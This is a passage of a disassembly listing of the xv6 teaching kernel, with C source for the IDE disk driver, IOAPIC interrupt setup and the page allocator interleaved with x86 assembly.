sub $0x8,%esp 80102635: 68 c2 8a 10 80 push $0x80108ac2 8010263a: 68 20 c6 10 80 push $0x8010c620 8010263f: e8 d0 2a 00 00 call 80105114 <initlock> 80102644: 83 c4 10 add $0x10,%esp picenable(IRQ_IDE); 80102647: 83 ec 0c sub $0xc,%esp 8010264a: 6a 0e push $0xe 8010264c: e8 da 18 00 00 call 80103f2b <picenable> 80102651: 83 c4 10 add $0x10,%esp ioapicenable(IRQ_IDE, ncpu - 1); 80102654: a1 20 43 11 80 mov 0x80114320,%eax 80102659: 83 e8 01 sub $0x1,%eax 8010265c: 83 ec 08 sub $0x8,%esp 8010265f: 50 push %eax 80102660: 6a 0e push $0xe 80102662: e8 73 04 00 00 call 80102ada <ioapicenable> 80102667: 83 c4 10 add $0x10,%esp idewait(0); 8010266a: 83 ec 0c sub $0xc,%esp 8010266d: 6a 00 push $0x0 8010266f: e8 73 ff ff ff call 801025e7 <idewait> 80102674: 83 c4 10 add $0x10,%esp // Check if disk 1 is present outb(0x1f6, 0xe0 | (1<<4)); 80102677: 83 ec 08 sub $0x8,%esp 8010267a: 68 f0 00 00 00 push $0xf0 8010267f: 68 f6 01 00 00 push $0x1f6 80102684: e8 19 ff ff ff call 801025a2 <outb> 80102689: 83 c4 10 add $0x10,%esp for(i=0; i<1000; i++){ 8010268c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80102693: eb 24 jmp 801026b9 <ideinit+0x8d> if(inb(0x1f7) != 0){ 80102695: 83 ec 0c sub $0xc,%esp 80102698: 68 f7 01 00 00 push $0x1f7 8010269d: e8 bd fe ff ff call 8010255f <inb> 801026a2: 83 c4 10 add $0x10,%esp 801026a5: 84 c0 test %al,%al 801026a7: 74 0c je 801026b5 <ideinit+0x89> havedisk1 = 1; 801026a9: c7 05 58 c6 10 80 01 movl $0x1,0x8010c658 801026b0: 00 00 00 break; 801026b3: eb 0d jmp 801026c2 <ideinit+0x96> ioapicenable(IRQ_IDE, ncpu - 1); idewait(0); // Check if disk 1 is present outb(0x1f6, 0xe0 | (1<<4)); for(i=0; i<1000; i++){ 801026b5: 83 45 f4 01 addl $0x1,-0xc(%ebp) 801026b9: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp) 801026c0: 7e d3 jle 80102695 <ideinit+0x69> break; } } // Switch back to disk 0. outb(0x1f6, 0xe0 | (0<<4)); 801026c2: 83 ec 08 sub $0x8,%esp 801026c5: 68 e0 00 00 00 push $0xe0 801026ca: 68 f6 01 00 00 push $0x1f6 801026cf: e8 ce fe ff ff call 801025a2 <outb> 801026d4: 83 c4 10 add $0x10,%esp } 801026d7: 90 nop 801026d8: c9 leave 801026d9: c3 ret 801026da <idestart>: // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 801026da: 55 push %ebp 801026db: 89 e5 mov %esp,%ebp 801026dd: 83 ec 18 sub $0x18,%esp if(b == 0) 801026e0: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 801026e4: 75 0d jne 801026f3 <idestart+0x19> panic("idestart"); 801026e6: 83 ec 0c sub $0xc,%esp 801026e9: 68 c6 8a 10 80 push $0x80108ac6 801026ee: e8 73 de ff ff call 80100566 <panic> if(b->blockno >= FSSIZE) 801026f3: 8b 45 08 mov 0x8(%ebp),%eax 801026f6: 8b 40 08 mov 0x8(%eax),%eax 801026f9: 3d e7 03 00 00 cmp $0x3e7,%eax 801026fe: 76 0d jbe 8010270d <idestart+0x33> panic("incorrect blockno"); 80102700: 83 ec 0c sub $0xc,%esp 80102703: 68 cf 8a 10 80 push $0x80108acf 80102708: e8 59 de ff ff call 80100566 <panic> int sector_per_block = BSIZE/SECTOR_SIZE; 8010270d: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) int sector = b->blockno * sector_per_block; 80102714: 8b 45 08 mov 0x8(%ebp),%eax 80102717: 8b 50 08 mov 0x8(%eax),%edx 8010271a: 8b 45 f4 mov -0xc(%ebp),%eax 8010271d: 0f af c2 imul %edx,%eax 80102720: 89 45 f0 mov %eax,-0x10(%ebp) if (sector_per_block > 7) panic("idestart"); 80102723: 83 7d f4 07 cmpl $0x7,-0xc(%ebp) 80102727: 7e 0d jle 80102736 <idestart+0x5c> 80102729: 83 ec 0c sub $0xc,%esp 8010272c: 68 c6 8a 10 80 push $0x80108ac6 80102731: e8 30 de ff ff call 80100566 <panic> idewait(0); 80102736: 83 ec 0c sub $0xc,%esp 80102739: 6a 00 push $0x0 8010273b: e8 a7 fe ff ff call 801025e7 <idewait> 80102740: 83 c4 10 add $0x10,%esp outb(0x3f6, 0); // generate interrupt 80102743: 83 ec 08 sub $0x8,%esp 80102746: 6a 00 push $0x0 80102748: 68 f6 03 00 00 push $0x3f6 8010274d: e8 50 fe ff ff call 801025a2 <outb> 80102752: 83 c4 10 add $0x10,%esp outb(0x1f2, sector_per_block); // number of sectors 80102755: 8b 45 f4 mov -0xc(%ebp),%eax 80102758: 0f b6 c0 movzbl %al,%eax 8010275b: 83 ec 08 sub $0x8,%esp 8010275e: 50 push %eax 8010275f: 68 f2 01 00 00 push $0x1f2 80102764: e8 39 fe ff ff call 801025a2 <outb> 80102769: 83 c4 10 add $0x10,%esp outb(0x1f3, sector & 0xff); 8010276c: 8b 45 f0 mov -0x10(%ebp),%eax 8010276f: 0f b6 c0 movzbl %al,%eax 80102772: 83 ec 08 sub $0x8,%esp 80102775: 50 push %eax 80102776: 68 f3 01 00 00 push $0x1f3 8010277b: e8 22 fe ff ff call 801025a2 <outb> 80102780: 83 c4 10 add $0x10,%esp outb(0x1f4, (sector >> 8) & 0xff); 80102783: 8b 45 f0 mov -0x10(%ebp),%eax 80102786: c1 f8 08 sar $0x8,%eax 80102789: 0f b6 c0 movzbl %al,%eax 8010278c: 83 ec 08 sub $0x8,%esp 8010278f: 50 push %eax 80102790: 68 f4 01 00 00 push $0x1f4 80102795: e8 08 fe ff ff call 801025a2 <outb> 8010279a: 83 c4 10 add $0x10,%esp outb(0x1f5, (sector >> 16) & 0xff); 8010279d: 8b 45 f0 mov -0x10(%ebp),%eax 801027a0: c1 f8 10 sar $0x10,%eax 801027a3: 0f b6 c0 movzbl %al,%eax 801027a6: 83 ec 08 sub $0x8,%esp 801027a9: 50 push %eax 801027aa: 68 f5 01 00 00 push $0x1f5 801027af: e8 ee fd ff ff call 801025a2 <outb> 801027b4: 83 c4 10 add $0x10,%esp outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 801027b7: 8b 45 08 mov 0x8(%ebp),%eax 801027ba: 8b 40 04 mov 0x4(%eax),%eax 801027bd: 83 e0 01 and $0x1,%eax 801027c0: c1 e0 04 shl $0x4,%eax 801027c3: 89 c2 mov %eax,%edx 801027c5: 8b 45 f0 mov -0x10(%ebp),%eax 801027c8: c1 f8 18 sar $0x18,%eax 801027cb: 83 e0 0f and $0xf,%eax 801027ce: 09 d0 or %edx,%eax 801027d0: 83 c8 e0 or $0xffffffe0,%eax 801027d3: 0f b6 c0 movzbl %al,%eax 801027d6: 83 ec 08 sub $0x8,%esp 801027d9: 50 push %eax 801027da: 68 f6 01 00 00 push $0x1f6 801027df: e8 be fd ff ff call 801025a2 <outb> 801027e4: 83 c4 10 add $0x10,%esp if(b->flags & B_DIRTY){ 801027e7: 8b 45 08 mov 0x8(%ebp),%eax 801027ea: 8b 00 mov (%eax),%eax 801027ec: 83 e0 04 and $0x4,%eax 801027ef: 85 c0 test %eax,%eax 801027f1: 74 30 je 80102823 <idestart+0x149> outb(0x1f7, IDE_CMD_WRITE); 801027f3: 83 ec 08 sub $0x8,%esp 801027f6: 6a 30 push $0x30 801027f8: 68 f7 01 00 00 push $0x1f7 801027fd: e8 a0 fd ff ff call 801025a2 <outb> 80102802: 83 c4 10 add $0x10,%esp outsl(0x1f0, b->data, BSIZE/4); 80102805: 8b 45 08 mov 0x8(%ebp),%eax 80102808: 83 c0 18 add $0x18,%eax 8010280b: 83 ec 04 sub $0x4,%esp 8010280e: 68 80 00 00 00 push $0x80 80102813: 50 push %eax 80102814: 68 f0 01 00 00 push $0x1f0 80102819: e8 a3 fd ff ff call 801025c1 <outsl> 8010281e: 83 c4 10 add $0x10,%esp } else { outb(0x1f7, IDE_CMD_READ); } } 80102821: eb 12 jmp 80102835 <idestart+0x15b> outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); if(b->flags & B_DIRTY){ outb(0x1f7, IDE_CMD_WRITE); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, IDE_CMD_READ); 80102823: 83 ec 08 sub $0x8,%esp 80102826: 6a 20 push $0x20 80102828: 68 f7 01 00 00 push $0x1f7 8010282d: e8 70 fd ff ff call 801025a2 <outb> 80102832: 83 c4 10 add $0x10,%esp } } 80102835: 90 nop 80102836: c9 leave 80102837: c3 ret 80102838 <ideintr>: // Interrupt handler. void ideintr(void) { 80102838: 55 push %ebp 80102839: 89 e5 mov %esp,%ebp 8010283b: 83 ec 18 sub $0x18,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 8010283e: 83 ec 0c sub $0xc,%esp 80102841: 68 20 c6 10 80 push $0x8010c620 80102846: e8 eb 28 00 00 call 80105136 <acquire> 8010284b: 83 c4 10 add $0x10,%esp if((b = idequeue) == 0){ 8010284e: a1 54 c6 10 80 mov 0x8010c654,%eax 80102853: 89 45 f4 mov %eax,-0xc(%ebp) 80102856: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010285a: 75 15 jne 80102871 <ideintr+0x39> release(&idelock); 8010285c: 83 ec 0c sub $0xc,%esp 8010285f: 68 20 c6 10 80 push $0x8010c620 80102864: e8 34 29 00 00 call 8010519d <release> 80102869: 83 c4 10 add $0x10,%esp // cprintf("spurious IDE interrupt\n"); return; 8010286c: e9 9a 00 00 00 jmp 8010290b <ideintr+0xd3> } idequeue = b->qnext; 80102871: 8b 45 f4 mov -0xc(%ebp),%eax 80102874: 8b 40 14 mov 0x14(%eax),%eax 80102877: a3 54 c6 10 80 mov %eax,0x8010c654 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 8010287c: 8b 45 f4 mov -0xc(%ebp),%eax 8010287f: 8b 00 mov (%eax),%eax 80102881: 83 e0 04 and $0x4,%eax 80102884: 85 c0 test %eax,%eax 80102886: 75 2d jne 801028b5 <ideintr+0x7d> 80102888: 83 ec 0c sub $0xc,%esp 8010288b: 6a 01 push $0x1 8010288d: e8 55 fd ff ff call 801025e7 <idewait> 80102892: 83 c4 10 add $0x10,%esp 80102895: 85 c0 test %eax,%eax 80102897: 78 1c js 801028b5 <ideintr+0x7d> insl(0x1f0, b->data, BSIZE/4); 80102899: 8b 45 f4 mov -0xc(%ebp),%eax 8010289c: 83 c0 18 add $0x18,%eax 8010289f: 83 ec 04 sub $0x4,%esp 801028a2: 68 80 00 00 00 push $0x80 801028a7: 50 push %eax 801028a8: 68 f0 01 00 00 push $0x1f0 801028ad: e8 ca fc ff ff call 8010257c <insl> 801028b2: 83 c4 10 add $0x10,%esp // Wake process waiting for this buf. b->flags |= B_VALID; 801028b5: 8b 45 f4 mov -0xc(%ebp),%eax 801028b8: 8b 00 mov (%eax),%eax 801028ba: 83 c8 02 or $0x2,%eax 801028bd: 89 c2 mov %eax,%edx 801028bf: 8b 45 f4 mov -0xc(%ebp),%eax 801028c2: 89 10 mov %edx,(%eax) b->flags &= ~B_DIRTY; 801028c4: 8b 45 f4 mov -0xc(%ebp),%eax 801028c7: 8b 00 mov (%eax),%eax 801028c9: 83 e0 fb and $0xfffffffb,%eax 801028cc: 89 c2 mov %eax,%edx 801028ce: 8b 45 f4 mov -0xc(%ebp),%eax 801028d1: 89 10 mov %edx,(%eax) wakeup(b); 801028d3: 83 ec 0c sub $0xc,%esp 801028d6: ff 75 f4 pushl -0xc(%ebp) 801028d9: e8 04 26 00 00 call 80104ee2 <wakeup> 801028de: 83 c4 10 add $0x10,%esp // Start disk on next buf in queue. if(idequeue != 0) 801028e1: a1 54 c6 10 80 mov 0x8010c654,%eax 801028e6: 85 c0 test %eax,%eax 801028e8: 74 11 je 801028fb <ideintr+0xc3> idestart(idequeue); 801028ea: a1 54 c6 10 80 mov 0x8010c654,%eax 801028ef: 83 ec 0c sub $0xc,%esp 801028f2: 50 push %eax 801028f3: e8 e2 fd ff ff call 801026da <idestart> 801028f8: 83 c4 10 add $0x10,%esp release(&idelock); 801028fb: 83 ec 0c sub $0xc,%esp 801028fe: 68 20 c6 10 80 push $0x8010c620 80102903: e8 95 28 00 00 call 8010519d <release> 80102908: 83 c4 10 add $0x10,%esp } 8010290b: c9 leave 8010290c: c3 ret 8010290d <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 8010290d: 55 push %ebp 8010290e: 89 e5 mov %esp,%ebp 80102910: 83 ec 18 sub $0x18,%esp struct buf **pp; if(!(b->flags & B_BUSY)) 80102913: 8b 45 08 mov 0x8(%ebp),%eax 80102916: 8b 00 mov (%eax),%eax 80102918: 83 e0 01 and $0x1,%eax 8010291b: 85 c0 test %eax,%eax 8010291d: 75 0d jne 8010292c <iderw+0x1f> panic("iderw: buf not busy"); 8010291f: 83 ec 0c sub $0xc,%esp 80102922: 68 e1 8a 10 80 push $0x80108ae1 80102927: e8 3a dc ff ff call 80100566 <panic> if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010292c: 8b 45 08 mov 0x8(%ebp),%eax 8010292f: 8b 00 mov (%eax),%eax 80102931: 83 e0 06 and $0x6,%eax 80102934: 83 f8 02 cmp $0x2,%eax 80102937: 75 0d jne 80102946 <iderw+0x39> panic("iderw: nothing to do"); 80102939: 83 ec 0c sub $0xc,%esp 8010293c: 68 f5 8a 10 80 push $0x80108af5 80102941: e8 20 dc ff ff call 80100566 <panic> if(b->dev != 0 && !havedisk1) 80102946: 8b 45 08 mov 0x8(%ebp),%eax 80102949: 8b 40 04 mov 0x4(%eax),%eax 8010294c: 85 c0 test %eax,%eax 8010294e: 74 16 je 80102966 <iderw+0x59> 80102950: a1 58 c6 10 80 mov 0x8010c658,%eax 80102955: 85 c0 test %eax,%eax 80102957: 75 0d jne 80102966 <iderw+0x59> panic("iderw: ide disk 1 not present"); 80102959: 83 ec 0c sub $0xc,%esp 8010295c: 68 0a 8b 10 80 push $0x80108b0a 80102961: e8 00 dc ff ff call 80100566 <panic> acquire(&idelock); //DOC:acquire-lock 80102966: 83 ec 0c sub $0xc,%esp 80102969: 68 20 c6 10 80 push $0x8010c620 8010296e: e8 c3 27 00 00 call 80105136 <acquire> 80102973: 83 c4 10 add $0x10,%esp // Append b to idequeue. b->qnext = 0; 80102976: 8b 45 08 mov 0x8(%ebp),%eax 80102979: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 80102980: c7 45 f4 54 c6 10 80 movl $0x8010c654,-0xc(%ebp) 80102987: eb 0b jmp 80102994 <iderw+0x87> 80102989: 8b 45 f4 mov -0xc(%ebp),%eax 8010298c: 8b 00 mov (%eax),%eax 8010298e: 83 c0 14 add $0x14,%eax 80102991: 89 45 f4 mov %eax,-0xc(%ebp) 80102994: 8b 45 f4 mov -0xc(%ebp),%eax 80102997: 8b 00 mov (%eax),%eax 80102999: 85 c0 test %eax,%eax 8010299b: 75 ec jne 80102989 <iderw+0x7c> ; *pp = b; 8010299d: 8b 45 f4 mov -0xc(%ebp),%eax 801029a0: 8b 55 08 mov 0x8(%ebp),%edx 801029a3: 89 10 mov %edx,(%eax) // Start disk if necessary. if(idequeue == b) 801029a5: a1 54 c6 10 80 mov 0x8010c654,%eax 801029aa: 3b 45 08 cmp 0x8(%ebp),%eax 801029ad: 75 23 jne 801029d2 <iderw+0xc5> idestart(b); 801029af: 83 ec 0c sub $0xc,%esp 801029b2: ff 75 08 pushl 0x8(%ebp) 801029b5: e8 20 fd ff ff call 801026da <idestart> 801029ba: 83 c4 10 add $0x10,%esp // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801029bd: eb 13 jmp 801029d2 <iderw+0xc5> sleep(b, &idelock); 801029bf: 83 ec 08 sub $0x8,%esp 801029c2: 68 20 c6 10 80 push $0x8010c620 801029c7: ff 75 08 pushl 0x8(%ebp) 801029ca: e8 28 24 00 00 call 80104df7 <sleep> 801029cf: 83 c4 10 add $0x10,%esp // Start disk if necessary. if(idequeue == b) idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801029d2: 8b 45 08 mov 0x8(%ebp),%eax 801029d5: 8b 00 mov (%eax),%eax 801029d7: 83 e0 06 and $0x6,%eax 801029da: 83 f8 02 cmp $0x2,%eax 801029dd: 75 e0 jne 801029bf <iderw+0xb2> sleep(b, &idelock); } release(&idelock); 801029df: 83 ec 0c sub $0xc,%esp 801029e2: 68 20 c6 10 80 push $0x8010c620 801029e7: e8 b1 27 00 00 call 8010519d <release> 801029ec: 83 c4 10 add $0x10,%esp } 801029ef: 90 nop 801029f0: c9 leave 801029f1: c3 ret 801029f2 <ioapicread>: uint data; }; static uint ioapicread(int reg) { 801029f2: 55 push %ebp 801029f3: 89 e5 mov %esp,%ebp ioapic->reg = reg; 801029f5: a1 f4 3b 11 80 mov 0x80113bf4,%eax 801029fa: 8b 55 08 mov 0x8(%ebp),%edx 801029fd: 89 10 mov %edx,(%eax) return ioapic->data; 801029ff: a1 f4 3b 11 80 mov 0x80113bf4,%eax 80102a04: 8b 40 10 mov 0x10(%eax),%eax } 80102a07: 5d pop %ebp 80102a08: c3 ret 80102a09 <ioapicwrite>: static void ioapicwrite(int reg, uint data) { 80102a09: 55 push %ebp 80102a0a: 89 e5 mov %esp,%ebp ioapic->reg = reg; 80102a0c: a1 f4 3b 11 80 mov 0x80113bf4,%eax 80102a11: 8b 55 08 mov 0x8(%ebp),%edx 80102a14: 89 10 mov %edx,(%eax) ioapic->data = data; 80102a16: a1 f4 3b 11 80 mov 0x80113bf4,%eax 80102a1b: 8b 55 0c mov 0xc(%ebp),%edx 80102a1e: 89 50 10 mov %edx,0x10(%eax) } 80102a21: 90 nop 80102a22: 5d pop %ebp 80102a23: c3 ret 80102a24 <ioapicinit>: void ioapicinit(void) { 80102a24: 55 push %ebp 80102a25: 89 e5 mov %esp,%ebp 80102a27: 83 ec 18 sub $0x18,%esp int i, id, maxintr; if(!ismp) 80102a2a: a1 24 3d 11 80 mov 0x80113d24,%eax 80102a2f: 85 c0 test %eax,%eax 80102a31: 0f 84 a0 00 00 00 je 80102ad7 <ioapicinit+0xb3> return; ioapic = (volatile struct ioapic*)IOAPIC; 80102a37: c7 05 f4 3b 11 80 00 movl $0xfec00000,0x80113bf4 80102a3e: 00 c0 fe maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102a41: 6a 01 push $0x1 80102a43: e8 aa ff ff ff call 801029f2 <ioapicread> 80102a48: 83 c4 04 add $0x4,%esp 80102a4b: c1 e8 10 shr $0x10,%eax 80102a4e: 25 ff 00 00 00 and $0xff,%eax 80102a53: 89 45 f0 mov %eax,-0x10(%ebp) id = ioapicread(REG_ID) >> 24; 80102a56: 6a 00 push $0x0 80102a58: e8 95 ff ff ff call 801029f2 <ioapicread> 80102a5d: 83 c4 04 add $0x4,%esp 80102a60: c1 e8 18 shr $0x18,%eax 80102a63: 89 45 ec mov %eax,-0x14(%ebp) if(id != ioapicid) 80102a66: 0f b6 05 20 3d 11 80 movzbl 0x80113d20,%eax 80102a6d: 0f b6 c0 movzbl %al,%eax 80102a70: 3b 45 ec cmp -0x14(%ebp),%eax 80102a73: 74 10 je 80102a85 <ioapicinit+0x61> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102a75: 83 ec 0c sub $0xc,%esp 80102a78: 68 28 8b 10 80 push $0x80108b28 80102a7d: e8 44 d9 ff ff call 801003c6 <cprintf> 80102a82: 83 c4 10 add $0x10,%esp // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 80102a85: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80102a8c: eb 3f jmp 80102acd <ioapicinit+0xa9> ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102a8e: 8b 45 f4 mov -0xc(%ebp),%eax 80102a91: 83 c0 20 add $0x20,%eax 80102a94: 0d 00 00 01 00 or $0x10000,%eax 80102a99: 89 c2 mov %eax,%edx 80102a9b: 8b 45 f4 mov -0xc(%ebp),%eax 80102a9e: 83 c0 08 add $0x8,%eax 80102aa1: 01 c0 add %eax,%eax 80102aa3: 83 ec 08 sub $0x8,%esp 80102aa6: 52 push %edx 80102aa7: 50 push %eax 80102aa8: e8 5c ff ff ff call 80102a09 <ioapicwrite> 80102aad: 83 c4 10 add $0x10,%esp ioapicwrite(REG_TABLE+2*i+1, 0); 80102ab0: 8b 45 f4 mov -0xc(%ebp),%eax 80102ab3: 83 c0 08 add $0x8,%eax 80102ab6: 01 c0 add %eax,%eax 80102ab8: 83 c0 01 add $0x1,%eax 80102abb: 83 ec 08 sub $0x8,%esp 80102abe: 6a 00 push $0x0 80102ac0: 50 push %eax 80102ac1: e8 43 ff ff ff call 80102a09 <ioapicwrite> 80102ac6: 83 c4 10 add $0x10,%esp if(id != ioapicid) cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 80102ac9: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80102acd: 8b 45 f4 mov -0xc(%ebp),%eax 80102ad0: 3b 45 f0 cmp -0x10(%ebp),%eax 80102ad3: 7e b9 jle 80102a8e <ioapicinit+0x6a> 80102ad5: eb 01 jmp 80102ad8 <ioapicinit+0xb4> ioapicinit(void) { int i, id, maxintr; if(!ismp) return; 80102ad7: 90 nop // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); ioapicwrite(REG_TABLE+2*i+1, 0); } } 80102ad8: c9 leave 80102ad9: c3 ret 80102ada <ioapicenable>: void ioapicenable(int irq, int cpunum) { 80102ada: 55 push %ebp 80102adb: 89 e5 mov %esp,%ebp if(!ismp) 80102add: a1 24 3d 11 80 mov 0x80113d24,%eax 80102ae2: 85 c0 test %eax,%eax 80102ae4: 74 39 je 80102b1f <ioapicenable+0x45> return; // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 80102ae6: 8b 45 08 mov 0x8(%ebp),%eax 80102ae9: 83 c0 20 add $0x20,%eax 80102aec: 89 c2 mov %eax,%edx 80102aee: 8b 45 08 mov 0x8(%ebp),%eax 80102af1: 83 c0 08 add $0x8,%eax 80102af4: 01 c0 add %eax,%eax 80102af6: 52 push %edx 80102af7: 50 push %eax 80102af8: e8 0c ff ff ff call 80102a09 <ioapicwrite> 80102afd: 83 c4 08 add $0x8,%esp ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 80102b00: 8b 45 0c mov 0xc(%ebp),%eax 80102b03: c1 e0 18 shl $0x18,%eax 80102b06: 89 c2 mov %eax,%edx 80102b08: 8b 45 08 mov 0x8(%ebp),%eax 80102b0b: 83 c0 08 add $0x8,%eax 80102b0e: 01 c0 add %eax,%eax 80102b10: 83 c0 01 add $0x1,%eax 80102b13: 52 push %edx 80102b14: 50 push %eax 80102b15: e8 ef fe ff ff call 80102a09 <ioapicwrite> 80102b1a: 83 c4 08 add $0x8,%esp 80102b1d: eb 01 jmp 80102b20 <ioapicenable+0x46> void ioapicenable(int irq, int cpunum) { if(!ismp) return; 80102b1f: 90 nop // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); } 80102b20: c9 leave 80102b21: c3 ret 80102b22 <v2p>: #define KERNBASE 0x80000000 // First kernel virtual address #define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked #ifndef __ASSEMBLER__ static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; } 80102b22: 55 push %ebp 80102b23: 89 e5 mov %esp,%ebp 80102b25: 8b 45 08 mov 0x8(%ebp),%eax 80102b28: 05 00 00 00 80 add $0x80000000,%eax 80102b2d: 5d pop %ebp 80102b2e: c3 ret 80102b2f <kinit1>: // the pages mapped by entrypgdir on free list. // 2. main() calls kinit2() with the rest of the physical pages // after installing a full page table that maps them on all cores. void kinit1(void *vstart, void *vend) { 80102b2f: 55 push %ebp 80102b30: 89 e5 mov %esp,%ebp 80102b32: 83 ec 08 sub $0x8,%esp initlock(&kmem.lock, "kmem"); 80102b35: 83 ec 08 sub $0x8,%esp 80102b38: 68 5a 8b 10 80 push $0x80108b5a 80102b3d: 68 00 3c 11 80 push $0x80113c00 80102b42: e8 cd 25 00 00 call 80105114 <initlock> 80102b47: 83 c4 10 add $0x10,%esp kmem.use_lock = 0; 80102b4a: c7 05 34 3c 11 80 00 movl $0x0,0x80113c34 80102b51: 00 00 00 freerange(vstart, vend); 80102b54: 83 ec 08 sub $0x8,%esp 80102b57: ff 75 0c pushl 0xc(%ebp) 80102b5a: ff 75 08 pushl 0x8(%ebp) 80102b5d: e8 2a 00 00 00 call 80102b8c <freerange> 80102b62: 83 c4 10 add $0x10,%esp } 80102b65: 90 nop 80102b66: c9 leave 80102b67: c3 ret 80102b68 <kinit2>: void kinit2(void *vstart, void *vend) { 80102b68: 55 push %ebp 80102b69: 89 e5 mov %esp,%ebp 80102b6b: 83 ec 08 sub $0x8,%esp freerange(vstart, vend); 80102b6e: 83 ec 08 sub $0x8,%esp 80102b71: ff 75 0c pushl 0xc(%ebp) 80102b74: ff 75 08 pushl 0x8(%ebp) 80102b77: e8 10 00 00 00 call 80102b8c <freerange> 80102b7c: 83 c4 10 add $0x10,%esp kmem.use_lock = 1; 80102b7f: c7 05 34 3c 11 80 01 movl $0x1,0x80113c34 80102b86: 00 00 00 } 80102b89: 90 nop 80102b8a: c9 leave 80102b8b: c3 ret 80102b8c <freerange>: void freerange(void *vstart, void *vend) { 80102b8c: 55 push %ebp 80102b8d: 89 e5 mov %esp,%ebp 80102b8f: 83 ec 18 sub $0x18,%esp char *p; p = (char*)PGROUNDUP((uint)vstart); 80102b92: 8b 45 08 mov 0x8(%ebp),%eax 80102b95: 05 ff 0f 00 00 add $0xfff,%eax 80102b9a: 25 00 f0 ff ff and $0xfffff000,%eax 80102b9f: 89 45 f4 mov %eax,-0xc(%ebp) for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102ba2: eb 15 jmp 80102bb9 <freerange+0x2d> kfree(p); 80102ba4: 83 ec 0c sub $0xc,%esp 80102ba7: ff 75 f4 pushl -0xc(%ebp) 80102baa: e8 1a 00 00 00 call 80102bc9 <kfree> 80102baf: 83 c4 10 add $0x10,%esp void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102bb2: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 80102bb9: 8b 45 f4 mov -0xc(%ebp),%eax 80102bbc: 05 00 10 00 00 add $0x1000,%eax 80102bc1: 3b 45 0c cmp 0xc(%ebp),%eax 80102bc4: 76 de jbe 80102ba4 <freerange+0x18> kfree(p); } 80102bc6: 90 nop 80102bc7: c9 leave 80102bc8: c3 ret 80102bc9 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 80102bc9: 55 push %ebp 80102bca: 89 e5 mov %esp,%ebp 80102bcc: 83 ec 18 sub $0x18,%esp struct run *r; if((uint)v % PGSIZE || v < end || v2p(v) >= PHYSTOP) 80102bcf: 8b 45 08 mov 0x8(%ebp),%eax 80102bd2: 25 ff 0f 00 00 and $0xfff,%eax 80102bd7: 85 c0 test %eax,%eax 80102bd9: 75 1b jne 80102bf6 <kfree+0x2d> 80102bdb: 81 7d 08 1c 6c 11 80 cmpl $0x80116c1c,0x8(%ebp) 80102be2: 72 12 jb 80102bf6 <kfree+0x2d> 80102be4: ff 75 08 pushl 0x8(%ebp) 80102be7: e8 36 ff ff ff call 80102b22 <v2p> 80102bec: 83 c4 04 add $0x4,%esp 80102bef: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102bf4: 76 0d jbe 80102c03 <kfree+0x3a> panic("kfree"); 80102bf6: 83 ec 0c sub $0xc,%esp 80102bf9: 68 5f 8b 10 80 push $0x80108b5f 80102bfe: e8 63 d9 ff ff call 80100566 <panic> // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80102c03: 83 ec 04 sub $0x4,%esp 80102c06: 68 00 10 00 00 push $0x1000 80102c0b: 6a 01 push $0x1 80102c0d: ff 75 08 pushl 0x8(%ebp) 80102c10: e8 84 27 00 00 call 80105399 <memset> 80102c15: 83 c4 10 add $0x10,%esp if(kmem.use_lock) 80102c18: a1 34 3c 11 80 mov 0x80113c34,%eax 80102c1d: 85 c0 test %eax,%eax 80102c1f: 74 10 je 80102c31 <kfree+0x68> acquire(&kmem.lock); 80102c21: 83 ec 0c sub $0xc,%esp 80102c24: 68 00 3c 11 80 push $0x80113c00 80102c29: e8 08 25 00 00 call 80105136 <acquire> 80102c2e: 83 c4 10 add $0x10,%esp r = (struct run*)v; 80102c31: 